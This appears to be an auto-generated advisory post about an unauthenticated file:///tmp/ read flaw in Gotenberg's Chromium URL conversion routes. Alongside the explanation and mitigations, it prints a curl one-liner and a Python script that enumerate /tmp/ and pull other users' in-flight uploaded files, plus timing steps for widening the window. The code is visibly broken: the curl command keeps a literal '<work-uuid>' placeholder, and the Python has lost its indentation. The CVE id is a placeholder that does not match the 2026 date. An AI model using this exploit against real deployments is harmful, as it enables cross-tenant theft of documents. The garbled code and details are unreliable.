Gotenberg, Unauthenticated Cross-Request File Read via file:///tmp/ URL Routes, CVE-2024-XXXX (Medium)

Listen to this Post

How the mentioned CVE works

The vulnerability exists in Gotenberg’s `/forms/chromium/convert/url` and `/forms/chromium/screenshot/url` routes. These accept a `url=` parameter with a `file:///tmp/…` scheme from unauthenticated callers. By design, the default Chromium deny‑list uses the regex `^file:(?!//\/tmp/).` to explicitly allow `file:///tmp/` so that HTML/Markdown routes can load their own request‑local assets. Those routes implement a per‑request `AllowedFilePrefixes` guard scoped to the request’s working directory. However, the URL routes never set AllowedFilePrefixes, leaving the slice empty. In the CDP `Fetch.requestPaused` handler, the condition `len(options.allowedFilePrefixes) > 0` skips the entire enforcement block when the slice is empty, meaning no prefix check is performed for any `file://` URL. The outbound filter `FilterOutboundURL` short‑circuits IP validation for non‑HTTP schemes, so `file:///tmp/…` passes cleanly. Gotenberg stores uploaded request assets at /tmp/<work‑uuid>/<request‑uuid>/<file‑uuid>.<ext>. An attacker can first enumerate `/tmp/` to discover a work‑UUID, then walk into that directory to find an in‑flight request UUID, and finally read raw source files (e.g., HTML, Markdown, Office documents) of another user’s conversion while it is still processing. The rendered file is returned as a PDF. The exploit requires timing: the victim’s request directory must remain alive (e.g., via slow conversions or explicit waitDelay). Directory enumeration works unconditionally on every request.

dailycve form

Platform: Gotenberg
Version: 8.31.0
Vulnerability: Unauthenticated file disclosure
Severity: Medium
Date: 2026-05-07

Prediction: 2026-05-20

What Undercode Say:

Enumerate /tmp/ and fetch a victim's uploaded HTML via Gotenberg URL route
curl -X POST http://localhost:3000/forms/chromium/convert/url \
-F "url=file:///tmp/$(curl -s -X POST http://localhost:3000/forms/chromium/convert/url -F 'url=file:///tmp/' | pdftotext - - | grep -oE '[0-9a-f-]{36}' | head -1)/$(curl -s -X POST http://localhost:3000/forms/chromium/convert/url -F 'url=file:///tmp/<work-uuid>/' | pdftotext - - | grep -oE '[0-9a-f-]{36}' | grep -v '<work-uuid>')/index.html"
Python snippet to automate cross‑request file read
import requests, re, time
def leak_file(url):
r = requests.post("http://localhost:3000/forms/chromium/convert/url", files={"url": (None, url)})
return r.content if r.status_code == 200 else None
tmp_list = leak_file("file:///tmp/")
work_uuid = re.search(r"([0-9a-f-]{36})", str(tmp_list)).group(1)
req_list = leak_file(f"file:///tmp/{work_uuid}/")
for req in re.findall(r"([0-9a-f-]{36})", str(req_list)):
if req != work_uuid:
html = leak_file(f"file:///tmp/{work_uuid}/{req}/index.html")
if html and b"SECRET" in html:
print("Exfiltrated:", html[:200])
break

Exploit:

Attacker sends concurrent requests: one to start a slow victim conversion (e.g., with waitDelay=15s), then uses the URL route to read /tmp/, discover the victim’s work/request UUIDs, and fetch the raw uploaded file via file:///tmp/<work>/<request>/<file>.html. The PDF output contains the victim’s plaintext data.

Protection from this CVE

  • Upgrade Gotenberg to a patched version (when available) that removes `len(allowedFilePrefixes) > 0` condition in events.go:65, or rejects non‑HTTP schemes in URL route handlers.
  • As a temporary mitigation: disable the URL routes by removing them from the binary or using a reverse proxy to block `/forms/chromium/convert/url` and /forms/chromium/screenshot/url.
  • Run Gotenberg with read‑only `/tmp` (if possible) or mount a dedicated tmpfs with strict permissions.

Impact

  • Unauthenticated attacker enumerates `/tmp/` directory structure.
  • In multi‑tenant deployments, cross‑tenant exfiltration of in‑flight documents (HTML, Markdown, Office files, staged PDFs) as PDF output.
  • Timing window depends on victim’s conversion length; long‑running jobs widen the window from milliseconds to seconds.
  • No arbitrary filesystem read (only `/tmp/` due to deny‑list).

🎯Let’s Practice Exploiting & Learn Patching For Free:

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top